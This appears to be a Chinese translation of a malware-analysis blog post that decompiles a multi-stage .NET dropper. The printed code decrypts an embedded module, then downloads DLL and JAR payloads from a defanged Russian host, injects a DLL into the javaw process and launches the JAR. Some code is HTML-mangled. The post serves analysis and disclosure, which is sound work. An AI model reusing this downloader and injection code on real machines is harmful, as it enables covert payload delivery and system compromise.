复杂的多阶段执行恶意软件分析

译文声明

本文是翻译文章,文章原作者 Malwrologist,文章来源:dissectmalware.wordpress.com

原文地址:https://dissectmalware.wordpress.com/2018/04/12/sophisticated-mutli-stage-malware-hosted-on-pussyhunter-ru/


译文仅供参考,具体内容表达以及含义原文为准

 

我在Hybrid-Analysis发现了一个有意思的恶意软件实例:

https://www.hybrid-analysis.com/sample/d314aac126e2bc980573d830b421f88759d8232eae1ff3b1021e038df65b6ab1?environmentId=100

这个文件是一个.NET二进制文件。于是我用ILSpy .NET decompiler反编译了一下,进一步看看它的代码。

neta-1

可以看到它的主函数如下(我移除了大部分数组内容):

private static int Main(string[] P_0)
{
    uint[] array = new uint[2479]
    {
        1577855463u,
        2828857993u,
        4140489464u,
        2608716692u,
        1989109008u,
        2597657387u,
        2241603555u,
        3264879030u,
        3308843330u,
        104908645u,
        // 剩下的被移除
    };
    Assembly executingAssembly = Assembly.GetExecutingAssembly();
    Module manifestModule = executingAssembly.ManifestModule;
    GCHandle gCHandle = Decrypt(array, 3383442103u);
    byte[] array2 = (byte[])gCHandle.Target;
    Module module = executingAssembly.LoadModule("koi", array2);
    Array.Clear(array2, 0, array2.Length);
    gCHandle.Free();
    Array.Clear(array, 0, array.Length);
    key = manifestModule.ResolveSignature(285212673);
    AppDomain.CurrentDomain.AssemblyResolve += Resolve;
    module.GetTypes();
    MethodBase methodBase = module.ResolveMethod(key[0] | key[1] << 8 | key[2] << 16 | key[3] << 24);
    object[] array3 = new object[methodBase.GetParameters().Length];
    if (array3.Length != 0)
    {
        array3[0] = P_0;
    }
    object obj = methodBase.Invoke(null, array3);
    if (obj is int)
    {
        return (int)obj;
    }
    return 0;
}

 private static GCHandle Decrypt(uint[] P_0, uint P_1)
{
    uint[] array = new uint[16];
    uint[] array2 = new uint[16];
    ulong num = P_1;
    for (int i = 0; i < 16; i++)
    {
        num = num * num % 339722377uL;
        array2[i] = (uint)num;
        array[i] = (uint)(num * num % 1145919227uL);
    }
    array[0] = (array[0] ^ array2[0]) * 1313239741;
    array[1] = (uint)((int)(array[1] ^ array2[1]) ^ -1202084285);
    array[2] = (array[2] ^ array2[2]) * 1313239741;
    array[3] = (uint)((int)(array[3] ^ array2[3]) ^ -1202084285);
    array[4] = (uint)((int)(array[4] ^ array2[4]) + -1545941219);
    array[5] = (uint)((int)(array[5] + array2[5]) + -1545941219);
    array[6] = (uint)((int)(array[6] ^ array2[6]) + -1545941219);
    array[7] = (uint)((int)(array[7] ^ array2[7]) ^ -1202084285);
    array[8] = (uint)((int)(array[8] ^ array2[8]) + -1545941219);
    array[9] = (uint)((int)(array[9] * array2[9]) ^ -1202084285);
    array[10] = (uint)((int)(array[10] * array2[10]) + -1545941219);
    array[11] = (uint)((int)(array[11] ^ array2[11]) ^ -1202084285);
    array[12] = (uint)((int)(array[12] + array2[12]) + -1545941219);
    array[13] = (uint)((int)(array[13] ^ array2[13]) + -1545941219);
    array[14] = (array[14] + array2[14]) * 1313239741;
    array[15] = (uint)((int)(array[15] + array2[15]) + -1545941219);
    Array.Clear(array2, 0, 16);
    byte[] array3 = new byte[P_0.Length << 2];
    uint num2 = 0u;
    for (int j = 0; j</pre>
&gt; 8);
        array3[num2 + 2] = (byte)(num3 &gt;&gt; 16);
        array3[num2 + 3] = (byte)(num3 &gt;&gt; 24);
        num2 += 4;
    }
    Array.Clear(array, 0, 16);
    byte[] array4 = Decompress(array3);
    Array.Clear(array3, 0, array3.Length);
    GCHandle result = GCHandle.Alloc(array4, GCHandleType.Pinned);
    ulong num4 = num % 9067703uL;
    for (int k = 0; k &lt; array4.Length; k++)
    {
        array4[k] ^= (byte)num;
        if ((k &amp; 0xFF) == 0)
        {
            num = num * num % 9067703uL;
        }
    }
    return result;
}

internal static byte[] Decompress(byte[] P_0)
{
    MemoryStream memoryStream = new MemoryStream(P_0);
    LzmaDecoder lzmaDecoder = new LzmaDecoder();
    byte[] array = new byte[5];
    memoryStream.Read(array, 0, 5);
    lzmaDecoder.SetDecoderProperties(array);
    long num = 0L;
    for (int i = 0; i &lt; 8; i++)
    {
        int num2 = memoryStream.ReadByte();
        num |= (long)((ulong)(byte)num2 &lt;<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>&lt; 8 * i);
    }
    byte[] array2 = new byte[(int)num];
    MemoryStream memoryStream2 = new MemoryStream(array2, true);
    long num3 = memoryStream.Length - 13;
    lzmaDecoder.Code(memoryStream, memoryStream2, num3, num);
    return array2;
}

在第19行,长数组对象被Decrypt函数解密。处理结果是一个GCHandle对象。GCHandle对象的内容是用来创建一个模块(第21行),然后它的一个方法被激活(第34行)。
被解密的代码是另一个.NET二进制文件。所有我们可以再次用ILSpy反编译它来看看它的内容。

netb-1

可以看到它的主函数如下(http被替换成hxxp防止误操作):

[STAThread]
private static void Main()
{
    try
    {
        string text = SendPOST("hxxp://pussyhunters.ru/mix/check.php", "getHash=True");
        string text2 = "C:\Mix\";
        string path = "C:\Program Files (x86)\Java\";
        WebClient webClient = new WebClient();
        string[] array = text.Split(':');
        if (!Directory.Exists(text2))
        {
            Directory.CreateDirectory(text2);
        }
        if (!Directory.Exists(path))
        {
            MessageBox.Show("Скачайте Java (32-разрядная версия).", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
            Process.Start("hxxps://www.java.com/ru/download/manual.jsp");
            Application.Exit();
        }
        else
        {
            if (!CalculateMD5(text2 + "\Bypass.lib").Equals(array[0]))
            {
                if (File.Exists(text2 + "\Bypass.lib"))
                {
                    File.Delete(text2 + "\Bypass.lib");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/Bypass.lib", text2 + "\Bypass.lib");
            }
            if (!CalculateMD5(text2 + "\x32.dll").Equals(array[1]))
            {
                if (File.Exists(text2 + "\x32.dll"))
                {
                    File.Delete(text2 + "\x32.dll");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/x32.dll", text2 + "\x32.dll");
            }
            if (!CalculateMD5(text2 + "\Launcher.jar").Equals(array[3]))
            {
                if (File.Exists(text2 + "\Launcher.jar"))
                {
                    File.Delete(text2 + "\Launcher.jar");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/Launcher.jar", text2 + "\Launcher.jar");
            }
            if (!CalculateMD5(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar").Equals(array[4]))
            {
                if (File.Exists(text2 + "\YhfNbQOpZ.jar"))
                {
                    File.Delete(text2 + "\YhfNbQOpZ.jar");
                }
                webClient.DownloadFile("hxxp://pussyhunters.ru/mix/YhfNbQOpZ.jar", Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar");
            }
            if (CalculateMD5(text2 + "\Bypass.lib").Equals(array[0]) &amp;&amp; CalculateMD5(text2 + "\x32.dll").Equals(array[2]) &amp;&amp; CalculateMD5(text2 + "\Launcher.jar").Equals(array[3]) &amp;&amp; CalculateMD5(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar").Equals(array[4]))
            {
                Process.Start(new ProcessStartInfo("javaw", "-jar " + text2 + "\Launcher.jar"));
                Thread.Sleep(1000);
                if (Process.GetProcessesByName("javaw").Length == 1)
                {
                    int processId = GetProcessId("javaw");
                    if (processId &gt;= 0)
                    {
                        IntPtr hProcess = OpenProcess(2035711u, 1, processId);
                        InjectDLL(hProcess, text2 + "\x32.dll");
                        Process.Start(new ProcessStartInfo("javaw", "-jar " + Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\YhfNbQOpZ.jar"));
                        Application.Exit();
                    }
                }
                else
                {
                    MessageBox.Show("Что-то пошло не так, перезапустите программу!", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                    Application.Exit();
                }
            }
        }
    }
    catch (Exception ex)
    {
        MessageBox.Show("Что-то пошло не так...rn[" + ex.ToString() + "]", "Ошибка запуска!", MessageBoxButtons.OK, MessageBoxIcon.Hand);
    }
}

<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>

在第6行,它发送一个HTTP POST请求到 hxxp://pussyhunters.ru/mix/check.php

使用 wget 命令,我们可以手动创建和发送相同的HTTP POST请求到check.php页面:

netb-2

它是一个用冒号(:)分割的有5个md5哈希值的数组。

b09825b34c420d73084b7a6326d3aae8

813f5be19d63d69e7f255c754d1d9e4a

86a64afaba3f9088e859f127ca7fa25c

f8b0fd96829496bb6163e1a4bf510d36

63b54502635e86388b520827e637d449

它用于检查它所在的文件系统中的文件的有效性。如果文件的md5哈希值和这些值不符,恶意软件再次获得文件。

jar文件被重度加密,连YhfNbQOpZ.jar都不能用jd-gui反编译了。

java-1
java-2

在写这篇博文时,没有任何C#代码下载的文件被反病毒产品识别出来。

av

https://www.virustotal.com/#/file/4829ef2f0d0f3346e7037bf9814b69cfa1245ff308de9ab7d603e99e1f3c5cf4/detection

https://www.virustotal.com/#/file/58e4c4224f5cf11b6b07b01a05c10692d921945f51254ec8bcf79208b6d0ceee/detection

https://www.virustotal.com/#/file/dc9179683f11b1a4d34d54659cf7ff2302f1719ebcf150728a0319a15e559e3c/detection

https://www.virustotal.com/#/file/28d5b8766ebdcb4367b367126e8f33bba709a3fdcf7cda48431d903a2b59d5ca/detection

(完)